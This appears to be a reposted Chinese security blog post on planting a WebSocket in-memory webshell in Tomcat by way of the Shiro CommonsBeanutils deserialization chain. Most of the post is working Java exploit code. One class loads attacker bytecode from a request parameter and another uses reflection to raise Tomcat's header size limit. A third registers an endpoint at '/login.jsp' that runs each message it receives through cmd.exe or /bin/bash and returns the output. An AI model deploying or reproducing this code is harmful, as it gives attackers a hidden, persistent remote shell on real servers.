点击蓝字,关注我们吧!
前言
新坑,关于shiro下注入内存马相关,起因有个师傅问我这么个情况:tomcat环境下shiro打CB反序列化的websocket内存马。调试后发现关于shiro这方面历史知识有点欠缺。
踩坑总结
maxHeaderSize长度绕过
三种方案
1)修改maxHttpHeaderSize
Shiro 550 漏洞学习 (二):内存马注入及回显
http://wjlshare.com/archives/1545 ,直接修改
2)将class bytes使用gzip+base64压缩编码
tomcat结合shiro无文件webshell的技术研究以及检测方法
https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg ,将恶意byte压缩,在payload中调用classloader解压缩执行
3)从POST请求体中发送字节码数据
Java代码执行漏洞中类动态加载的应用
https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247484622&idx=1&sn=8ec625711dcf87f0b6abe67483f0534d
context与request获取
老生常谈了
Shiro 回显与内存马实现 | MYZXCG
https://myzxcg.com/2021/11/Shiro-%E5%9B%9E%E6%98%BE%E4%B8%8E%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0/#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9B%9E%E6%98%BE
Java内存马:一种Tomcat全版本获取StandardContext的新方法
https://xz.aliyun.com/t/9914#toc-0
基于全局储存的新思路 | Tomcat的一种通用回显方法研究
https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3
Java安全之反序列化回显与内存马
https://www.cnblogs.com/nice0e3/p/14891711.html
问题发现
CB链是调用TemplatesImpl进行加载字节码,流程为:
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
该字节码所对应的类必须继承于 AbstractTranslet,但是websocket内存马的实现也是需要一个类去继承于 Endpoint 。这种情况该怎么去构造?
尝试解决
内部类
利用内部类尝试写入
websocket.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.Session;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
public class websocket extends AbstractTranslet {
class socket extends Endpoint {
private Session session;
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
this.session.addMessageHandler(new MessageHandler());
}
private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> {
public void onMessage(String message) {
try {
boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
Process exec;
if (iswin) {
exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
} else {
exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
}
InputStream ips = exec.getInputStream();
StringBuilder sb = new StringBuilder();
int i;
while((i = ips.read()) != -1) {
sb.append((char)i);
}
ips.close();
exec.waitFor();
session.getBasicRemote().sendText(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
static {
System.out.println("[+]-------before exp-------");
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
System.out.println(standardContext);
System.out.println("---------standardContext-------");
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
System.out.println(attribute);
System.out.println("---------attribute-------");
socket so = new websocket().new socket();
ServerEndpointConfig build = ServerEndpointConfig.Builder.create(so.getClass(), "/login.jsp").build();
System.out.println(build);
System.out.println("---------build-------");
System.out.println("[+]------after exp------");
try {
attribute.addEndpoint(build);
System.out.println("ok!");
} catch (DeploymentException e) {
throw new RuntimeException(e);
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
尝试很多次都是在创建 ServerEndpointConfig 时失败,具体原因先跳过。
自定义Classloader
能不能将payload和exp分开,CB链目的是去动态加载我们传入的字节码,socket内存马的字节码我们可以通过POST方式去获取。中间桥梁可以通过类加载的操作去实现。
通过 Tomcat的一种通用回显方法研究 ,只需要拿到request就可了。
exp.java:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Base64;
public class exp extends AbstractTranslet {
public static class TestClassLoader extends ClassLoader{
public Class x(byte[] bytes){
return super.defineClass(null,bytes,0,bytes.length);
}
}
static {
try{
//获取service属性
StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext();
Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);
//获取connector
Connector[] connectors=service.findConnectors();
Connector connector=connectors[0];
//获取global
AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();
Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
Object connectionHandler=getHandler.invoke(abstractProtocol);
Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");
RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);
//获取request
Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsf.setAccessible(true);
ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
RequestInfo requestInfo=processors.get(0);
Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
Request request2=(Request) ((org.apache.coyote.Request) req.get(requestInfo)).getNote(1);
byte[] bytes=Base64.getDecoder().decode(request2.getParameter("code").getBytes(StandardCharsets.UTF_8));
Method defineClass=Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class x= (Class) defineClass.invoke(exp.class.getClassLoader(),bytes,0,bytes.length);
x.newInstance();
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
payload.java:
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.Session;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
public class payload extends Endpoint {
static{
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServerEndpointConfig build = ServerEndpointConfig.Builder.create(payload.class, "/login.jsp").build();
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
try {
attribute.addEndpoint(build);
} catch (DeploymentException e) {
throw new RuntimeException(e);
}
}
private Session session;
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
this.session.addMessageHandler(new MessageHandler());
}
private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> {
public void onMessage(String message) {
try {
boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
Process exec;
if (iswin) {
exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
} else {
exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
}
InputStream ips = exec.getInputStream();
StringBuilder sb = new StringBuilder();
int i;
while((i = ips.read()) != -1) {
sb.append((char)i);
}
ips.close();
exec.waitFor();
session.getBasicRemote().sendText(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
在测试的过程中又出现新的问题,HTTP头部长度太大,这牵扯到一个新问题 maxHeadersize绕过,解决方案如下:
通过反射修改 org.apache.coyote.http11.AbstractHttp11Protocol 的maxHeaderSize的大小(默认长度8192),这个值会影响新的Request的inputBuffer时的对于header的限制。但由于request的inputbuffer会复用,所以在修改完maxHeaderSize之后,需要多个连接同时访问(burp开多线程跑),让tomcat新建request的inputbuffer,这时候的buffer的大小就会使用修改后的值。
修改maxHeadersize
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class maxlen extends AbstractTranslet {
static {
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// 10000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(),10000);
}
}
}
// 10000 为修改后的 headersize
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
}
}
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
修改完headersize后,传参数
这回的websocket连接状态已经改变,但是连接出现问题。
日志
看来是payload种的MessageHandler中出现问题,重写一下payload.java
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.Session;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
public class payload extends Endpoint implements javax.websocket.MessageHandler.Whole<String>{
static{
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServerEndpointConfig build = ServerEndpointConfig.Builder.create(payload.class, "/login.jsp").build();
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
try {
attribute.addEndpoint(build);
} catch (DeploymentException e) {
throw new RuntimeException(e);
}
}
private Session session;
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
成功
原文始发于微信公众号(山海之关):shiro-websocket内存马
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论